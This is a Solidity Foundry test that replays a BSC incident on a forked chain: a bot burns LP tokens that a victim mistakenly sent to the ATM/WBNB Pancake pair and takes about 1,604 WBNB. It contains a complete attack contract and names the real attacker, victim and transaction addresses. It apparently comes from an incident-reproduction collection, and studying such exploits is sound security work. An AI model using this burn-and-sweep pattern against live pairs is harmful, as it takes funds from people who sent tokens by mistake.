src/test/2026-06/ATM_LP_Burn_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1,603.99 WBNB
8// Attacker : 0x0eb4075c87ccd23a7ae1e00d77b043e4e8cc5894
9// Attack Contract : 0x48b549e6b551c151bd392bb9acab1f88263adf48
10// Vulnerable Contract : 0x9753a64fb7c233fdc43f04dab9cca88e1e229eba
11// Victim : 0xbe8351c14e5108a57a545dfa8669fa31aa6adc68
12// Attack Tx : https://bscscan.com/tx/0x4e9f3dc3ce3c0a6aa19dae0f1384ff46e801b433b7e3bc4c780de486db6c950a
13// Liquidity Setup Tx : https://bscscan.com/tx/0x2bb7f486730d7d6a271a2a0c18cec45c89f447a95e956415f18d2a0671ec789c
14// Victim LP Transfer Tx : https://bscscan.com/tx/0x5c27edc326e38641d8ce6093cd7f15ae5fca039f5fb988b7f10cb432e6e3a056
15 
16// @Info
17// Vulnerable Contract Code : https://bscscan.com/address/0x9753a64fb7c233fdc43f04dab9cca88e1e229eba#code
18 
19// @Analysis
20// Twitter Guy : https://x.com/TenArmorAlert/status/2068993748936151209
21//
22// Victim 0xbe83 first added WBNB/ATM liquidity, then mistakenly transferred the resulting LP tokens
23// to the pair itself. Because Pancake V2 burn redeems pair-held LP balance, the bot could burn that LP,
24// receive the underlying WBNB and ATM, pay most WBNB as native BNB to the builder, and keep the rest.
25 
26address constant ATTACKER = 0x0EB4075C87cCD23a7AE1E00D77B043e4e8cC5894;
27address constant LP_OWNER = 0xBE8351C14e5108A57A545DFA8669Fa31aA6aDC68;
28address constant ATM_WBNB_PAIR = 0x9753A64fB7C233Fdc43f04daB9CcA88e1e229eBA;
29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
30address constant ATM_TOKEN = 0xFdC76B8b2F775656E8A867FcC3282c969D2d86b0;
31address constant FINAL_PROFIT_RECEIVER = 0xfBa52f861E79C46333A308ba8f86bf136A44B2D3;
32address constant BUILDER_PAYMENT_RECEIVER = 0x1266C6bE60392A8Ff346E8d5ECCd3E69dD9c5F20;
33address constant DUST_WBNB_RECEIVER = 0xa44729b6039C1A9Aa3D8e6AD063d66e7ca18B06b;
34 
35contract ContractTest is BaseTestWithBalanceLog {
36    function setUp() public {
37        uint256 forkBlock = 105_692_847;
38        vm.createSelectFork("bsc", forkBlock);
39        fundingToken = WBNB_TOKEN;
40        attacker = FINAL_PROFIT_RECEIVER;
41 
42        vm.label(ATTACKER, "Attacker EOA");
43        vm.label(LP_OWNER, "Victim / mistaken LP owner");
44        vm.label(ATM_WBNB_PAIR, "ATM/WBNB Pancake pair");
45        vm.label(WBNB_TOKEN, "WBNB");
46        vm.label(ATM_TOKEN, "ATM");
47        vm.label(FINAL_PROFIT_RECEIVER, "Final WBNB receiver");
48        vm.label(BUILDER_PAYMENT_RECEIVER, "Builder payment receiver");
49        vm.label(DUST_WBNB_RECEIVER, "Dust WBNB receiver");
50    }
51 
52    function testExploit() public balanceLog {
53        AtmLpBurnExploit exploit = new AtmLpBurnExploit(FINAL_PROFIT_RECEIVER);
54 
55        uint256 receiverBefore = IERC20(WBNB_TOKEN).balanceOf(FINAL_PROFIT_RECEIVER);
56        uint256 pairHeldLp = IERC20(ATM_WBNB_PAIR).balanceOf(ATM_WBNB_PAIR);
57        assertGt(pairHeldLp, 400_000 ether, "pair should hold mistaken LP");
58        assertEq(IERC20(ATM_WBNB_PAIR).balanceOf(LP_OWNER), 0, "LP owner already sent LP");
59 
60        vm.prank(ATTACKER);
61        exploit.attack();
62 
63        uint256 profit = IERC20(WBNB_TOKEN).balanceOf(FINAL_PROFIT_RECEIVER) - receiverBefore;
64        assertGt(profit, 32 ether, "final receiver WBNB profit");
65        assertEq(IERC20(ATM_WBNB_PAIR).balanceOf(ATM_WBNB_PAIR), 0, "pair LP burned");
66    }
67}
68 
69contract AtmLpBurnExploit {
70    address private immutable profitReceiver;
71 
72    constructor(
73        address profitReceiver_
74    ) {
75        profitReceiver = profitReceiver_;
76    }
77 
78    receive() external payable {}
79 
80    function attack() external {
81        require(msg.sender == ATTACKER, "only attacker");
82 
83        IPancakePair pair = IPancakePair(ATM_WBNB_PAIR);
84 
85        // step 1: burn the LP balance that the victim mistakenly transferred to the pair.
86        (uint256 wbnbAmount, uint256 atmAmount) = pair.burn(address(this));
87        require(wbnbAmount > 1600 ether, "WBNB not redeemed");
88        require(atmAmount > 99_000_000 ether, "ATM not redeemed");
89 
90        // step 2: return the ATM side and reproduce the trace's WBNB dust swap.
91        IERC20(ATM_TOKEN).transfer(ATM_WBNB_PAIR, atmAmount);
92        uint256 wbnbDustOut = IERC20(WBNB_TOKEN).balanceOf(ATM_WBNB_PAIR) - 1;
93        pair.swap(wbnbDustOut, 0, DUST_WBNB_RECEIVER, "");
94 
95        // step 3: reproduce the observed WBNB self-transfer and builder-payment split.
96        uint256 wbnbBalance = IERC20(WBNB_TOKEN).balanceOf(address(this));
97        IERC20(WBNB_TOKEN).transfer(address(this), wbnbBalance);
98 
99        uint256 builderPayment = 1_571_909_430_014_800_601_194;
100        IWBNB(payable(WBNB_TOKEN)).withdraw(builderPayment);
101        (bool success,) = payable(BUILDER_PAYMENT_RECEIVER).call{value: builderPayment}("");
102        require(success, "builder payment failed");
103 
104        // step 4: forward the remaining WBNB to the trace's final profit receiver.
105        IERC20(WBNB_TOKEN).transfer(profitReceiver, IERC20(WBNB_TOKEN).balanceOf(address(this)));
106    }
107}